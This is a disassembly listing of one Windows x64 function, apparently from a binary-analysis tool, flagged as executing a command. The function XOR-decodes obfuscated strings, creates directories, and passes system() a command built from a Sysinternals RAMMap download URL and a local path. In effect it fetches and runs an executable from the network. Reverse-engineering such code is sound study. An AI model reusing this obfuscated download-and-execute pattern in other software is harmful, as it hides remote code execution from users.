Function at 0x14000b8a0
Capabilities:
Execute command

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
and rsp, 0xffffffffffffffe0
mov rax, qword [0x140114500]
xor rax, rbp
mov qword [rsp + 0x190], rax
movabs r12, 0xe810ab25a9c681dc
mov qword [rsp + 0x140], r12
movabs r13, 0xe0253c3f314aa560
mov qword [rsp + 0x148], r13
movabs r14, 0x9b7bd94ade9abb9f
mov qword [rsp + 0x40], r14
movabs r15, 0xe0253c635429c410
mov qword [rsp + 0x48], r15
lea rax, [rsp + 0x40]
vmovaps xmm0, xmmword [rsp + 0x140]
vxorps xmm0, xmm0, xmmword [rax]
vmovaps xmmword [rsp + 0x140], xmm0
lea rsi, [rsp + 0x140]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
call fcn.1400a2460
lea rbx, [rsp + 0x160]
lea r8, [rsp + 0x40]
mov rcx, rbx
mov edx, eax
call fcn.140008310
cmp qword [rsp + 0x178], 8
jb 0x14000b977
mov rbx, qword [rsp + 0x160]
lea rdi, [rsp + 0x40]
mov rcx, rbx
mov rdx, rdi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.1400a2138
xor ebx, ebx
cmp eax, 0x34
jg 0x14000b9ae
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14000b9bc
test eax, eax
jne 0x14000bd27
mov bl, 1
jmp 0x14000b9bc
cmp eax, 0x35
je 0x14000b9bc
cmp eax, 0x7b
jne 0x14000bd27
mov rax, qword [rsp + 0x178]
cmp rax, 8
jb 0x14000ba0a
mov rcx, qword [rsp + 0x160]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000ba05
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000bd08
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1400a1ca8
test bl, bl
jne 0x14000baf9
mov qword [rsp + 0x140], r12
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r15
mov rax, rdi
vmovaps xmm0, xmmword [rsp + 0x140]
vxorps xmm0, xmm0, xmmword [rax]
vmovaps xmmword [rsp + 0x140], xmm0
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], rax
call fcn.1400a2460
lea rbx, [rsp + 0x40]
lea r8, [rsp + 0x160]
mov rcx, rbx
mov edx, eax
call fcn.140008310
mov dword [rsp + 0x160], 0
lea rax, str.xC_n_
mov qword [rsp + 0x168], rax
lea rdx, [rsp + 0x160]
mov rcx, rbx
call fcn.140008760
cmp dword [rsp + 0x160], 0
jne 0x14000bd0e
mov rax, qword [rsp + 0x58]
cmp rax, 8
jb 0x14000baf9
mov rcx, qword [rsp + 0x40]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000baf4
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000bd08
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1400a1ca8
mov qword [rsp + 0x140], r12
movabs rax, 0xad646e3f314aa560
mov qword [rsp + 0x148], rax
movabs rax, 0xd6d472096be77dd4
mov qword [rsp + 0x150], rax
movabs rbx, 0x9b375c5d6d8b8c72
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r15
movabs r12, 0xd6b10a6c45b73c99
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rbx
vmovaps ymm0, ymmword [rsp + 0x140]
vxorps ymm0, ymm0, ymmword [rdi]
vmovaps ymmword [rsp + 0x140], ymm0
mov rcx, rsi
vzeroupper
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
call fcn.1400a2460
lea rdi, [rsp + 0x160]
lea r8, [rsp + 0x40]
mov rcx, rdi
mov edx, eax
call fcn.140008310
cmp qword [rsp + 0x178], 8
jb 0x14000bbaf
mov rdi, qword [rsp + 0x160]
lea rsi, [rsp + 0x40]
mov rcx, rdi
mov rdx, rsi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.1400a2138
xor edi, edi
cmp eax, 0x34
jg 0x14000bbe7
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14000bbf5
test eax, eax
jne 0x14000bd27
mov dil, 1
jmp 0x14000bbf5
cmp eax, 0x35
je 0x14000bbf5
cmp eax, 0x7b
jne 0x14000bd27
mov rax, qword [rsp + 0x178]
cmp rax, 8
jb 0x14000bc43
mov rcx, qword [rsp + 0x160]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000bc3e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000bd08
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1400a1ca8
test dil, dil
jne 0x14000bce3
movabs rax, 0xbb08f46ab2e8cefc
mov qword [rsp + 0x160], rax
movabs rax, 0x93001c107109ab3d
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], r12
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rbx
vmovaps ymm0, ymmword [rsp + 0x160]
vxorps ymm0, ymm0, ymmword [rsi]
vmovaps ymmword [rsp + 0x160], ymm0
lea rax, str.https:__live.sysinternals.com_RAMMap.exe
mov qword [rsp + 0x20], rax
lea r9, str.C:workspaceRAMMAP.exe
lea rsi, [rsp + 0x40]
lea r8, [rsp + 0x160]
mov edx, 0x100
mov rcx, rsi
vzeroupper
call fcn.14000bd60
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x190]
xor rcx, rbp
call fcn.1400a1e40
nop
lea rsp, [rbp + 0x118]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
lea rcx, str.create_directories
lea rdx, [rsp + 0x160]
lea r8, [rsp + 0x40]
call fcn.140006a60
mov dword [rsp + 0x40], eax
lea rax, str.xC_n_
mov qword [rsp + 0x48], rax
lea rcx, str.exists
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x160]
call fcn.140006a60
int3